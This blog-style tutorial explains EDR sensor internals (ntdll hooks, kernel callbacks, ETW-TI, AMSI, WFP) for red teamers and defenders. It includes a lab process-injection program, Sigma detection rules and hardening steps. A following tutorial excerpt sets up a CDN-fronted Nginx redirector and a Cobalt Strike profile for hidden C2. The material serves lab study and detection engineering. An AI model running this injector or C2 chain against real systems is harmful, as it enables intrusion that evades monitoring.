Traditional AV was a scanner glued to a file-system minifilter. It read bytes off disk, compared them to a signature database, and quarantined matches. That model still exists inside every EDR (nobody throws away a working checker), but it’s now the smallest part of the pipeline. An EDR is a sensor fabric: multiple components collecting different signal types and shipping them to a correlation engine.

The practical implication for a red teamer: obfuscating your binary defeats the AV scanner and does approximately nothing to the EDR. The EDR still sees WriteProcessMemory land followed by CreateRemoteThread starting in an RWX region with no backing module, and that behavioral chain is what actually kills the operation. Signature evasion is table stakes. Behavior is the game.

A modern EDR agent typically has these moving parts:

ComponentRole
User-mode serviceConfig, telemetry buffering, cloud upload
Injected DLLInline hooks in ntdll.dll inside every process
Kernel driver(s)Registers callbacks in ntoskrnl, WFP callouts, self-protection
File-system minifilterRegistered via FltRegisterFilter, sees IRPs, blocks known-bad on write
ETW consumerSubscribes to providers including Microsoft-Windows-Threat-Intelligence
Transport threadUploads events to the back-end for correlation

Detection capability equals which signals it subscribes to multiplied by how well it correlates them. Not architecture. Two products with identical block diagrams can have wildly different detection rates because one wrote better sequence rules.


Hierarchy diagram showing the six sensor components of a modern EDR agent: FS minifilter, kernel driver with callbacks and WFP, ETW-TI consumer, injected ntdll hook DLL, user-mode service, and static AV scanner
A modern EDR is a sensor fabric – each layer independently collects signal, and defeating one leaves the rest intact.

2. Static Detection: Why Just Repacking Doesn’t Help

The static engine still runs the moment a file touches disk (or memory, via AmsiScanBuffer and the on-access minifilter). It checks:

  • Byte signatures. Classic YARA-style pattern matches against known offsets, often anchored on shellcode decoders, string constants, or Sleep-mask stubs.
  • IMPHASH. MD5 of the ordered PE import table. IMPHASH survives repacking, string obfuscation, and section renaming because you can’t change what the file imports without changing what it does. Two Cobalt Strike beacon loaders written a year apart still share an IMPHASH if the import layout matches.
  • Fuzzy hashing (ssdeep, TLSH). Detects near-duplicate binaries. Flip a handful of bytes and the fuzzy score barely moves.
  • Entropy. Shannon entropy over 7.0 on a .text section screams “packed.” Not malicious by itself, but a strong prior.
  • Authenticode. Unsigned or revoked-cert binaries get harsher heuristics and often reduced execution allow-lists.

The takeaway: if you renamed strings and packed the payload but the imports still contain VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, and OpenProcess, the IMPHASH is going to look familiar to the vendor’s clustering pipeline. Resolve APIs dynamically (T1027.007) if you care.


3. Userland Hooks: Inside Your Own Process

When a new process is created, the EDR’s kernel driver, having registered via PsSetCreateProcessNotifyRoutineEx and PsSetLoadImageNotifyRoutine, gets notified early enough to arrange for the userland DLL to be mapped into the address space of the new process. Once that DLL is in, it walks the export table of ntdll.dll and patches the first 5 to 15 bytes of each function of interest with a trampoline into itself.

Here’s the anatomy of a typical patched prologue on x64:

; NtOpenProcess, unhooked (Windows 11 22H2, illustrative)
4C 8B D1              mov  r10, rcx           ; syscall trampoline
B8 26 00 00 00        mov  eax, 26h           ; syscall number
F6 04 25 08 03 FE 7F  test byte [7FFE0308h], 1
75 03                 jne  short +3
0F 05                 syscall
C3                    ret

; NtOpenProcess, hooked
E9 xx xx xx xx        jmp  <edr.dll+offset>   ; 5-byte JMP rel32
90 90 90 90 90        (padding / preserved bytes stashed elsewhere)

The EDR’s DLL receives the redirected call, reads the arguments off the stack and registers, applies whatever policy it wants (block, allow, tag), then either returns an error or lets the call through to the real syscall stub. The functions consistently hooked across vendors are the ones that gate the interesting behaviors:

FunctionWhat it exposes
NtOpenProcessHandle acquisition (credential dump prep, injection prep)
NtAllocateVirtualMemoryShellcode staging, especially PAGE_EXECUTE_READWRITE
NtWriteVirtualMemoryCross-process writes (injection)
NtCreateThreadExRemote thread creation
NtProtectVirtualMemoryRW to RX flips (shellcode activation)
NtMapViewOfSectionSection-based injection, hollowing
NtQueueApcThreadAPC injection

Exercise A: See the JMP with Your Own Eyes

Compile and run this from an unprivileged shell inside a VM that has any EDR (or Defender with ATP telemetry) installed. Compare the first 16 bytes of the in-memory ntdll copy against a fresh disk mapping.

// lab_hook_inspector.c
// Build: cl /W4 lab_hook_inspector.c
#include <windows.h>
#include <stdio.h>

static void check_hook(const char *func_name) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    FARPROC  fn_mem  = GetProcAddress(hNtdll, func_name);

    HMODULE hDisk = LoadLibraryExA("C:\\Windows\\System32\\ntdll.dll",
                                    NULL, DONT_RESOLVE_DLL_REFERENCES);
    FARPROC fn_disk = GetProcAddress(hDisk, func_name);

    printf("[%s]\n  in-memory : ", func_name);
    for (int i = 0; i < 16; i++) printf("%02X ", ((BYTE*)fn_mem)[i]);
    printf("\n  from disk : ");
    for (int i = 0; i < 16; i++) printf("%02X ", ((BYTE*)fn_disk)[i]);
    printf("\n  hooked?   : %s\n\n",
           memcmp(fn_mem, fn_disk, 5) ? "YES (first 5 bytes differ)" : "NO");
    FreeLibrary(hDisk);
}

int main(void) {
    const char *targets[] = {
        "NtOpenProcess", "NtAllocateVirtualMemory",
        "NtWriteVirtualMemory", "NtCreateThreadEx",
        "NtProtectVirtualMemory", NULL
    };
    for (int i = 0; targets[i]; i++) check_hook(targets[i]);
    return 0;
}

On a hooked box you’ll see the in-memory prologue start with E9 (relative JMP) or FF 25 (indirect JMP). On a stock Windows install with no third-party EDR you’ll usually see identical bytes, which is itself useful: it means Defender’s user-mode component doesn’t do inline hooks the way CrowdStrike, SentinelOne, or Elastic do. Different vendors, different surface area.

Pair this with Sysmon Event ID 7 (Image Load) captured while lab_hook_inspector.exe starts. You’ll see the EDR DLL loaded and amsi.dll mapped in early. That EDR DLL mapping is the hook installer.


Flow diagram showing an injector calling NtOpenProcess in ntdll which is patched with a JMP into the EDR hook DLL, which either allows the call to continue to the real syscall or returns a block error to the caller
The EDR’s JMP patch redirects every interesting Nt function through its own inspection stub before the syscall reaches the kernel.

4. Kernel Callbacks: The EDR’s Eyes in Ring 0

Above Ring 3 the EDR loses the ability to inline-patch code, PatchGuard prohibits it, but Microsoft provides a set of documented callback registration APIs so the driver can be notified of security-relevant events. This is the layer where userland-only bypasses die.

// Process creation/termination
NTSTATUS PsSetCreateProcessNotifyRoutine(
    PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
    BOOLEAN Remove);

// Extended: allows *blocking* process creation via CreationStatus
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
    PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
    BOOLEAN Remove);

NTSTATUS PsSetLoadImageNotifyRoutine(
    PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine);

NTSTATUS PsSetCreateThreadNotifyRoutine(
    PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine);

// Filter/mediate handle operations (block OpenProcess on lsass, etc.)
NTSTATUS ObRegisterCallbacks(
    POB_CALLBACK_REGISTRATION CallbackRegistration,
    PVOID *RegistrationHandle);

NTSTATUS CmRegisterCallback(
    PEX_CALLBACK_FUNCTION Function,
    PVOID Context,
    PLARGE_INTEGER Cookie);

NTSTATUS FltRegisterFilter(
    PDRIVER_OBJECT Driver,
    const FLT_REGISTRATION *Registration,
    PFLT_FILTER *RetFilter);

Internally, the kernel stores each set of process/thread/image callbacks in a fixed-size array. Process notifications live in nt!PspCreateProcessNotifyRoutine. When a process is created, nt!PspCallProcessNotifyRoutines iterates over the array and invokes each registered function. The pointers stored there are EX_FAST_REF values, so the low bits are reference-count flags and you have to mask them off before you can resolve a symbol.

Exercise B: Enumerate Registered Callbacks in WinDbg

Boot the lab VM with bcdedit /debug on and attach WinDbg over network (kdnet). In the kernel-mode session:

kd> dq nt!PspCreateProcessNotifyRoutine L10
fffff800`1234a010  ffffb001`23456780 ffffb001`87654322
fffff800`1234a020  ffffb001`aabbcc03 0000000000000000
...

kd> ? ffffb001`23456780 & 0xFFFFFFFFFFFFFFF8
Evaluate expression: -87... = ffffb001`23456780

kd> ln ffffb001`23456780
(fffff801`04a1e120)  WdFilter!MpCreateProcessNotifyRoutineEx

Repeat for the sibling arrays:

kd> dq nt!PspCreateThreadNotifyRoutine L8
kd> dq nt!PspLoadImageNotifyRoutine L8

On a fresh Windows 11 with only Defender + Sysmon installed you should see entries resolving to WdFilter!Mp* (Defender’s minifilter/driver) and SysmonDrv!*. Install a third-party EDR and one or more slots will resolve into its driver, for example CSAgent!* or SentinelMonitor!*. This is how you know, from a defender’s chair or a research chair, exactly which sensors are live.

The important detail: PsSetCreateProcessNotifyRoutineEx gives the driver an out-parameter CreationStatus. Setting it to a failure code aborts the process launch entirely. That’s not passive telemetry, that’s a policy chokepoint.


5. ETW and the Threat-Intelligence Provider

ETW is a pub/sub tracing framework baked into the kernel. Providers publish events, sessions filter and buffer them, and consumers read the buffered events. Every interesting subsystem in Windows exposes one or more providers.

For offensive-tool detection, these are the ones you care about:

ProviderGUIDCoverage
Microsoft-Windows-Threat-Intelligence{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}Kernel-side memory ops, thread manipulation, APCs, LSASS reads
Microsoft-Windows-PowerShell{A0C1853B-5C40-4B15-8766-3CF1C58F985A}Script block and module logging
Microsoft-Antimalware-Scan-Interface{2A576B87-09A7-520E-C21A-4942F0271D67}AMSI scan results
Microsoft-Windows-DotNETRuntime{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}Assembly loads, JIT
Microsoft-Windows-DNS-Client{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}DNS resolutions
Microsoft-Windows-Kernel-Process{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}Process/thread/image

ETW-TI (Threat-Intelligence) is the one worth understanding in depth. Because PatchGuard prevents hooking the SSDT, vendors can’t cleanly intercept syscall arguments in the kernel through classic patching. Microsoft’s answer was to instrument the relevant kernel paths themselves and emit structured events on this provider. The events come from the kernel, so a userland direct-syscall bypass, which fools the inline ntdll hook, still fires ETW-TI. Bypassing it generally means executing in Ring 0.

ETW-TI is a Secure ETW channel. Consumers must run as Protected Process Light (anti-malware light PPL) or use SeSystemProfilePrivilege in a driver-backed context. In your lab you can either sign a small consumer driver with a test cert (bcdedit /set testsigning on) or use SilkETW / krabsetw as PPL-hosted consumers.

Exercise C: Watch ETW-TI Fire on Remote Allocation

Stand up the lab injector. Keep it minimal so the reader can point at each line and say “that’s the ntdll call the EDR hooks.”

// injector_lab.c
// Build: cl /W4 injector_lab.c
#include <windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
    if (argc < 2) { printf("usage: injector_lab <pid>\n"); return 1; }
    DWORD pid = (DWORD)atoi(argv[1]);

    // Benign 6-byte payload: int3; ret; padding. Detonation is not the point.
    BYTE payload[] = { 0xCC, 0xC3, 0x90, 0x90, 0x90, 0x90 };

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) { printf("OpenProcess failed: %lu\n", GetLastError()); return 1; }

    LPVOID remote = VirtualAllocEx(hProc, NULL, sizeof(payload),
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
    if (!remote) { printf("VirtualAllocEx failed: %lu\n", GetLastError()); return 1; }

    SIZE_T written = 0;
    WriteProcessMemory(hProc, remote, payload, sizeof(payload), &written);

    HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
                                     (LPTHREAD_START_ROUTINE)remote,
                                     NULL, 0, NULL);
    printf("Injected. Remote thread handle: %p\n", hThr);
    return 0;
}

Start a SilkETW capture on the TI provider, then run the injector against a Notepad instance:

# Elevated. SilkETW handles the PPL/consumer plumbing.
SilkETW.exe -t kernel -pn Microsoft-Windows-Threat-Intelligence `
            -ot file -p C:\lab\etwti_output.json

# In another window:
Start-Process notepad ; Start-Sleep 1
$pid_target = (Get-Process notepad | Select -First 1).Id
.\injector_lab.exe $pid_target

Grep the JSON for the interesting task names:

Task nameFires on
KERNEL_THREATINT_TASK_ALLOCVM_REMOTENtAllocateVirtualMemory targeting remote PID
KERNEL_THREATINT_TASK_WRITEVM_REMOTENtWriteVirtualMemory targeting remote PID
KERNEL_THREATINT_TASK_MAPVIEW_REMOTENtMapViewOfSection targeting remote PID
KERNEL_THREATINT_TASK_QUEUEUSERAPC_REMOTENtQueueApcThread targeting remote thread
KERNEL_THREATINT_TASK_SETTHREADCONTEXTNtSetContextThread (thread hijacking)

Each event carries CallingProcessId, TargetProcessId, BaseAddress, RegionSize, and Protect. Notice that Protect = 0x40 (PAGE_EXECUTE_READWRITE) is a huge tell. Even switching to allocate RW and then flipping to RX will just move the tell to KERNEL_THREATINT_TASK_PROTECTVM_REMOTE in a subsequent event: the sequence is what gets you.

A quick lived-in gotcha: the first time I set this up, the JSON was empty and I burned an hour thinking my provider GUID was wrong. It wasn’t. SilkETW was running non-elevated and silently failed the PPL requirements. Always start ETW-TI consumers from an elevated shell and verify with logman query -ets.


Conceptual illustration of the ETW Threat-Intelligence provider as an omniscient eye embedded in the kernel, with structured telemetry rays passing through all system layers regardless of userland bypass attempts
ETW-TI emits events from inside the kernel itself – direct-syscall bypasses of userland hooks still trigger it, making Ring 0 the only escape.

6. AMSI: The Scanner Inside Script Hosts

AMSI is a COM interface baked into PowerShell, VBScript, JScript, the .NET CLR, and Office VBA. Every time one of those hosts is about to execute a chunk of content, it calls into amsi.dll which relays the buffer to whatever AV/EDR has registered as an AMSI provider under HKLM\SOFTWARE\Microsoft\AMSI\Providers\{GUID}.

Call chain:

powershell.exe
  -> amsi.dll (mapped at startup)
  -> AmsiInitialize / AmsiOpenSession
  -> AmsiScanBuffer(ctx, buffer, len, "PowerShell", session, &result)
  -> COM RPC to registered provider (e.g. MpOav.dll for Defender)
  -> result = AMSI_RESULT_DETECTED (0x8000) means malicious

Key exports:

FunctionPurpose
AmsiInitializeGet a scan context tied to the host name
AmsiOpenSessionStart a session so related buffers can be correlated
AmsiScanBufferScan raw bytes with an optional content name
AmsiScanStringWide-string variant
AmsiResultIsMalwareMacro: true if result >= AMSI_RESULT_DETECTED

Exercise D: Watch AmsiScanBuffer Fire

Attach API Monitor (rohitab.com/apimonitor) to powershell.exe, filter modules to amsi.dll, and turn on tracing for AmsiScanBuffer. Then in the PowerShell window paste a string known to trigger the Defender AMSI signature, the classic AMSI test string works well because it’s not actually malicious:

'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

API Monitor should show a call to AmsiScanBuffer with the string in the buffer, the length, contentName = "PowerShell", and a return AMSI_RESULT of 32768 (0x8000, AMSI_RESULT_DETECTED). PowerShell will render its “This script contains malicious content” red block.

That’s the whole “AMSI catches PowerShell payloads” story. It’s a synchronous scan call that returns a verdict before the buffer executes. The typical bypass chain patches or unhooks the client side (patching AmsiScanBuffer to return S_OK and AMSI_RESULT_CLEAN), which is exactly why the corresponding ETW event (Microsoft-Antimalware-Scan-Interface provider) is so useful to defenders: it fires even when the client tries to lie.


7. WFP: Network Visibility in the Kernel

The Windows Filtering Platform is the framework that sits under everything network-adjacent, including the built-in firewall. EDRs register callout drivers with FwpsCalloutRegister and hang filters off layers like FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 to inspect connect / accept events and beacon flows. That’s how the EDR observes C2 without depending on the target application’s user-mode stack.

Two implications for red-team tooling:

  1. Encrypted C2 doesn’t hide the flow metadata. WFP still sees destination, timing, JA3/JA4 fingerprints (via other hooks), and cadence. Beacon jitter isn’t optional if you’re serious.
  2. WFP is also used offensively by tools like “EDR Silencer” (T1562.006) to block outbound traffic from the EDR’s own processes, so telemetry piles up locally and never reaches the cloud. Defenders should watch WFP filter additions targeting security processes with EventID 5157 (Filtering Platform Connection blocked) and events under provider Microsoft-Windows-WFP.

8. Behavioral Correlation: The Sequence Is the Signal

None of the individual signals above catch a modern operator on their own. The correlation engine does. Vendors ship rules that look like state machines:

  • winword.exe -> cmd.exe -> powershell.exe within 5s: macro-borne dropper.
  • NtAllocateVirtualMemory(RWX) followed by NtWriteVirtualMemory on the same target followed by NtCreateThreadEx on that target within a short window: classic remote-thread injection.
  • OpenProcess(lsass.exe, PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION) from a non-whitelisted image: credential dump attempt.
  • A signed LOLBin (rundll32, regsvr32, mshta) making outbound TCP to a rare destination shortly after being spawned by a non-office parent: LOLBin C2.

You can bypass one hook. You can even bypass three. Getting the entire chain to look benign across static, userland, kernel, ETW, and network signals is the actual work.


Flow diagram showing three individual EDR signals - remote RWX allocation, remote memory write, and remote thread creation - converging into a correlation engine that joins them within a time window to fire a high-severity T1055 process injection alert
No single event is a conviction – it is the sequence of allocation, write, and thread-create against the same remote PID that the correlation engine turns into a high-fidelity alert.

9. Detection Engineering: Catching Your Own Injector

Now flip chairs. The injector from Exercise C should be trivial for a competent defender to catch, and the exercise is worth doing because it forces you to reason about which signal you rely on. Sysmon Event ID 8 is the direct hit; here’s a Sigma rule targeted at it.

title: Remote Thread Injection From Non-System Path
id: 8f6a2b3c-2b2f-4a2f-92a1-2f0e58e2b19a
status: experimental
description: >
  Detects CreateRemoteThread originating from a binary outside standard
  Windows/Program Files locations, into a process other than itself.
  Classic shellcode-injection pattern used by injector_lab and countless
  real-world loaders.
logsource:
  category: create_remote_thread
  product: windows
detection:
  selection:
    EventID: 8
  filter_system_paths:
    SourceImage|startswith:
      - 'C:\Windows\'
      - 'C:\Program Files\'
      - 'C:\Program Files (x86)\'
  filter_self:
    SourceProcessId: TargetProcessId
  condition: selection and not filter_system_paths and not filter_self
falsepositives:
  - Legitimate cross-process instrumentation (debuggers, profilers)
  - Some AV/EDR components performing remote threads (whitelist by SourceImage)
level: high
tags:
  - attack.defense_evasion
  - attack.t1055
  - attack.t1055.003

A Sigma rule is three moving parts: selection (what you want to match), one or more filter blocks (what you want to exclude), and the condition combining them. Keep filters as separate keyed maps so the rule stays readable when the whitelist grows.

Pair the rule with these fields on Event ID 8 during hunt: StartAddress outside any loaded module (walk Modules for the target PID and check the range) and StartModule = null are hard signals. Injection into a freshly allocated RWX region always leaves that fingerprint.

For LSASS-touching payloads, layer a rule on Event ID 10:

title: LSASS Access With Read/Query From Non-Standard Image
id: 8e2a1234-1a1a-4b4b-9c9c-2f0e58e2b19b
logsource:
  category: process_access
  product: windows
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'
      - '0x1F3FFF'
  filter_signed_sec_products:
    SourceImage|startswith:
      - 'C:\Program Files\Windows Defender\'
      - 'C:\Program Files (x86)\Microsoft\EDR\'
  condition: selection and not filter_signed_sec_products
level: critical
tags:
  - attack.credential_access
  - attack.t1003.001

10. Hardening Playbook

If the machine you’re defending has these switched on, half the tradecraft in this post gets a lot harder to land.

  1. RunAsPPL = 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa. LSASS becomes PPL, raising the required protection level to open it for read.
  2. HVCI (Hypervisor-Protected Code Integrity) via HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard: EnableVirtualizationBasedSecurity = 1, HypervisorEnforcedCodeIntegrity = 1. Unsigned kernel drivers stop loading. BYOVD dies.
  3. Microsoft Vulnerable Driver Blocklist: HKLM\SYSTEM\CurrentControlSet\Control\CI\Config -> VulnerableDriverBlocklistEnable = 1.
  4. ASR rules: block Office child processes, credential stealing from LSASS, unsigned executables off removable media.
  5. PowerShell Constrained Language Mode where the workload allows.
  6. Script Block Logging and Module Logging on:
    – HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -> EnableScriptBlockLogging = 1
    – HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -> EnableModuleLogging = 1, ModuleNames = *
  7. Deploy a real Sysmon config. SwiftOnSecurity’s sysmon-config and Olaf Hartong’s sysmon-modular (with ATT&CK-tagged rules) are the two community baselines worth starting from.
  8. Baseline audit policy:
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Security System Extension" /success:enable
auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
auditpol /set /subcategory:"Kernel Object" /success:enable

11. Tools

ToolUseLink
SysmonRich process/thread/image/registry/network telemetrylearn.microsoft.com/sysinternals
WinDbgKernel debugging, callback enumerationlearn.microsoft.com
x64dbgUser-mode debugger for inline-hook inspectionx64dbg.com
Process MonitorFile/registry/process traces from an EDR-agnostic anglelearn.microsoft.com/sysinternals
API MonitorAttach and trace amsi.dll and other APIsrohitab.com/apimonitor
SilkETW / krabsetwETW consumer front-ends including ETW-TIgithub.com/mandiant/SilkETW
SigmaVendor-neutral detection rule formatgithub.com/SigmaHQ/sigma
Sysmon configsCommunity baselinesgithub.com/SwiftOnSecurity, github.com/olafhartong

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Process InjectionT1055Sysmon EID 8, ETW-TI ALLOCVM_REMOTE / WRITEVM_REMOTE
DLL InjectionT1055.001EID 8 with StartModule = LoadLibrary in target
PE InjectionT1055.002EID 8 + RWX region + no backing image
Thread Execution HijackingT1055.003ETW-TI SETTHREADCONTEXT, EID 10 with thread-context access
Process HollowingT1055.012Sysmon EID 25 (ProcessTampering), ETW-TI MAPVIEW_REMOTE
Impair Defenses: Disable/Modify ToolsT1562.001AMSI ETW provider events, patch of amsi.dll in memory
Impair Defenses: Disable Event LoggingT1562.002Sudden ETW provider disable, gaps in EID sequence
Impair Defenses: Indicator BlockingT1562.006WFP filter add against security-product processes, EID 5157
Obfuscated Files or InformationT1027IMPHASH clustering, entropy > 7.0 on .text
Dynamic API ResolutionT1027.007Sparse IAT + calls resolved via GetProcAddress at runtime
System Binary Proxy ExecutionT1218EID 1 with rundll32/regsvr32/mshta and unusual cmdline
DLL Side-LoadingT1574.002EID 7 loading unsigned DLL next to a signed EXE
Access Token ManipulationT1134Token duplication API traces, sudden SID change
OS Credential Dumping: LSASS MemoryT1003.001Sysmon EID 10 on lsass.exe from non-whitelisted image

Summary

  • Modern EDR beats offensive tooling through a stack of signals, not one big signature. Static, userland hooks, kernel callbacks, ETW-TI, AMSI, and WFP each cover a different slice of the attack surface.
  • Inline hooks in ntdll.dll are visible with a 30-line C program. If you can see the JMP, so can a bypass, and so can a hardened detection rule for missing/patched hooks.
  • Kernel callbacks registered through PsSetCreateProcessNotifyRoutineEx, PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, ObRegisterCallbacks, and CmRegisterCallback are the layer userland tricks cannot reach.
  • ETW-TI turns the kernel itself into the telemetry source, which is why direct-syscall bypasses of user hooks still get caught. Bypassing it means Ring 0.
  • Detection engineering wins by correlating: allocation, write, and thread-create against the same remote PID inside a small time window is the signal, and Sysmon EID 8 plus ETW-TI plus a tuned Sigma rule catches the injector every time.

Related Tutorials

References

Domain Fronting and CDN Redirection for C2 Resilience

You stand up a team server on a $5 VPS, slap a self-signed cert on it, and point a beacon straight at the IP. It survives about as long as it takes the SOC to check one firewall log. A raw origin IP with no reputation, no cover traffic, and no way to rotate is dead on arrival. The whole point of mature C2 infrastructure is to make the front-facing layer disposable and the team server untouchable, so that burning one does not cost you the other.

Objective: Understand the TLS/HTTP split that makes domain fronting work, build a full CDN-backed redirector chain against your own lab, configure Cobalt Strike and Sliver to front through it, and then hunt the exact same traffic from the blue side using SNI/Host mismatch, JA3, Sysmon, and ETW.

Everything here runs against infrastructure you own. No third-party front domains, no live targets. The technique maps to MITRE ATT&CK T1090.004 (Proxy: Domain Fronting).


1. Why CDN Infrastructure Buys You the Whole Engagement

A good red team infrastructure has one job: move C2 traffic from the target to your team server, undetected, for as long as the engagement lasts. That means separating roles so no single point of failure gives the defender everything.

ComponentRole
Team ServerBackend C2 (Cobalt Strike, Sliver, Havoc). Never directly exposed.
Redirector / RelayNginx or Apache forwarder between the CDN and team server. Filters non-C2 traffic.
CDN DistributionCloudFront distribution, Azure Front Door endpoint, or Cloudflare Worker. The front-facing layer.
Front Domain (SNI)High-reputation domain served by the CDN. The decoy destination passive inspection sees.
Host Header / OriginYour CDN distribution FQDN or custom domain, routing to your redirector.

If a defender finds the CDN endpoint, they still cannot reach the team server. If the redirector gets burned, you spin up a new one and re-point the CDN. The team server stays put, sessions intact. That layering is the entire value proposition.


2. How Domain Fronting Works: TLS, SNI, and the Host Header

Domain fronting exploits a routing quirk in CDNs that host many customers behind the same edge. The trick is putting one domain in the TLS SNI field and a different domain in the HTTP Host header. The perimeter firewall reads the SNI in cleartext and sees a benign, high-reputation domain. The CDN, after it decrypts the tunnel, reads the Host header and routes to wherever that points, which is you.

Here is the split, layer by layer:

LayerFieldSeen by network/firewallActed on by CDN
TLS (outer)SNI (server_name in ClientHello)trusted-front.cdn.net, cleartextSelects the TLS cert to present
HTTP (inner, inside TLS)Host headerEncrypted, invisible to passive inspectionRoutes to the real C2 origin

The SNI is a TLS extension (RFC 6066), sent in the ClientHello in plaintext because the client has to tell the server which cert to serve before the tunnel exists. A firewall without TLS interception can only see this. The Host header lives inside the encrypted payload and carries the true backend target. The CDN edge terminates TLS using the front domain’s cert, reads the decrypted Host, and reverse-proxies to the configured origin regardless of which SNI opened the connection.

Roughly, the flow on the wire:

[Beacon] --ClientHello (SNI: trusted-front.cdn.net)--> [Perimeter FW: "just a CDN, allow"]
        --TLS established with front-domain cert--> [CDN Edge]
        --decrypt--> reads HTTP Host: your-distro.cloudfront.net
        --reverse proxy--> [Your Redirector] --> [Team Server]

There is also a “domainless” variant: leave the SNI field blank entirely. Some CDNs that try to enforce SNI-to-Host matching will ignore a blank SNI, letting the front still work. Whether that flies depends entirely on the provider.


Flow diagram showing how a beacon's ClientHello SNI passes a perimeter firewall as a trusted CDN domain, while the CDN reads the hidden Host header to route traffic to the attacker's redirector and then team server.
The CDN edge terminates TLS on the front domain’s cert, then routes internally based on the Host header the firewall never sees.

3. CDN Provider Landscape: What Still Works

Be honest with yourself here, because operators waste days trying classic cross-customer fronting on providers that killed it years ago. Two distinct patterns matter:

  • Classic domain fronting: front domain does not belong to you, you both just happen to sit on the same CDN.
  • CDN-as-redirector: your own CDN distribution fronts your own origin. This is what still works reliably and is the primary lab focus.
ProviderClassic cross-customer frontingCDN-as-redirector
AWS CloudFrontBlocked since 2018 (enforces SNI/Host match)Works: own distribution to own origin
Google App EngineBlocked since 2018Limited
Azure Front Door / Azure CDNConfig-dependent; profiles have used Fastly and AzureEdgeWorks, varies by tier
FastlyConfig-dependentViable
CloudflareConfig-dependentViable (Workers / Tunnels)

Classic fronting got harder as providers cracked down, but variations like “domain hiding” work in similar ways, and CDN-as-redirector remains fully viable. When you read a 2016 blog promising you can front through some giant consumer domain, assume it is dead and test in your lab before you rely on it.


4. Lab Setup: Building the Full Redirector Chain

Lab topology: a Windows 10/11 victim VM (Defender on), an Ubuntu 22.04 team server, an Ubuntu 22.04 redirector running Nginx, and a Cloudflare (free tier) or CloudFront distribution pointed at the redirector. Use a cheap personal domain for the lab, or /etc/hosts entries if you keep everything local.

Phase 1: Provision the redirector

# On the redirector VM
sudo apt install nginx -y

# Self-signed cert for the redirector-to-teamserver leg (Let's Encrypt if you have a real domain)
openssl req -x509 -newkey rsa:4096 -keyout /etc/ssl/private/c2.key \
  -out /etc/ssl/certs/c2.crt -days 365 -nodes -subj "/CN=lab-redirector"

Phase 2: Nginx redirector config

The redirector forwards only known C2 URI patterns and 302s everything else to a decoy. Scanners, sandboxes, and curious analysts get bounced to Microsoft’s homepage. Real beacon traffic gets proxied to the team server.

# /etc/nginx/sites-available/c2-redirect
server {
    listen 443 ssl;
    ssl_certificate     /etc/ssl/certs/c2.crt;
    ssl_certificate_key /etc/ssl/private/c2.key;

    # Forward only your C2 URIs
    location ~* ^/(beacon|updates|check-in) {
        proxy_pass          https://<TEAM_SERVER_IP>:443;
        proxy_set_header    Host $host;      # preserve Host for the team server
        proxy_ssl_verify    off;
    }

    # Everything else is a scanner: bounce it
    location / {
        return 302 https://www.microsoft.com;
    }
}

Lock the redirector down further with allow/deny ACLs so only the CDN’s published egress ranges can hit port 443. If a defender resolves your CDN and tries to connect from anywhere else, the redirector never answers.

Phase 3: CDN distribution (Cloudflare example)

DNS:      lab-c2.yourdomain.com  ->  <REDIRECTOR_IP>   (proxied, orange cloud ON)
SSL/TLS:  Full (strict)
Firewall: allow only CDN egress IPs -> redirector:443

With the orange cloud on, lab-c2.yourdomain.com resolves to Cloudflare edge IPs, not your redirector. The victim never sees your infrastructure’s real address.


Hierarchy diagram of the lab topology: victim connects to a Cloudflare CDN edge, which forwards to an Nginx redirector that routes matched C2 URIs to the team server and bounces scanners to a decoy URL.
Each layer is disposable independently – burning the CDN endpoint or redirector never exposes the team server.

5. Cobalt Strike Malleable C2 Profile for CDN Fronting

Malleable C2 lets you shape Beacon traffic to look like something legitimate. For fronting, the single load-bearing detail is the Host header, and it must appear in both the http-get -> client and http-post -> client blocks. Miss one and your POSTs sail past the CDN unrouted while GETs work, which produces a maddening half-broken beacon.

# profiles/cdn-front.profile
set sleeptime "5000";
set jitter     "20";
set useragent  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/beacon";
    client {
        header "Host" "lab-c2.yourdomain.com";   # CDN-fronted hostname
        header "Accept" "*/*";
    }
}
http-post {
    set uri "/updates";
    client {
        header "Host" "lab-c2.yourdomain.com";   # MUST also be here
        header "Content-Type" "application/octet-stream";
    }
}
ssl-certificate {
    set CN "lab-c2.yourdomain.com";
}

CloudFront and most CDNs require your origin to present a valid SSL certificate, so the ssl-certificate block is not optional. Validate before you start anything:

./c2lint profiles/cdn-front.profile
./teamserver "$TEAM_SERVER_IP" "$PASSWORD" profiles/cdn-front.profile

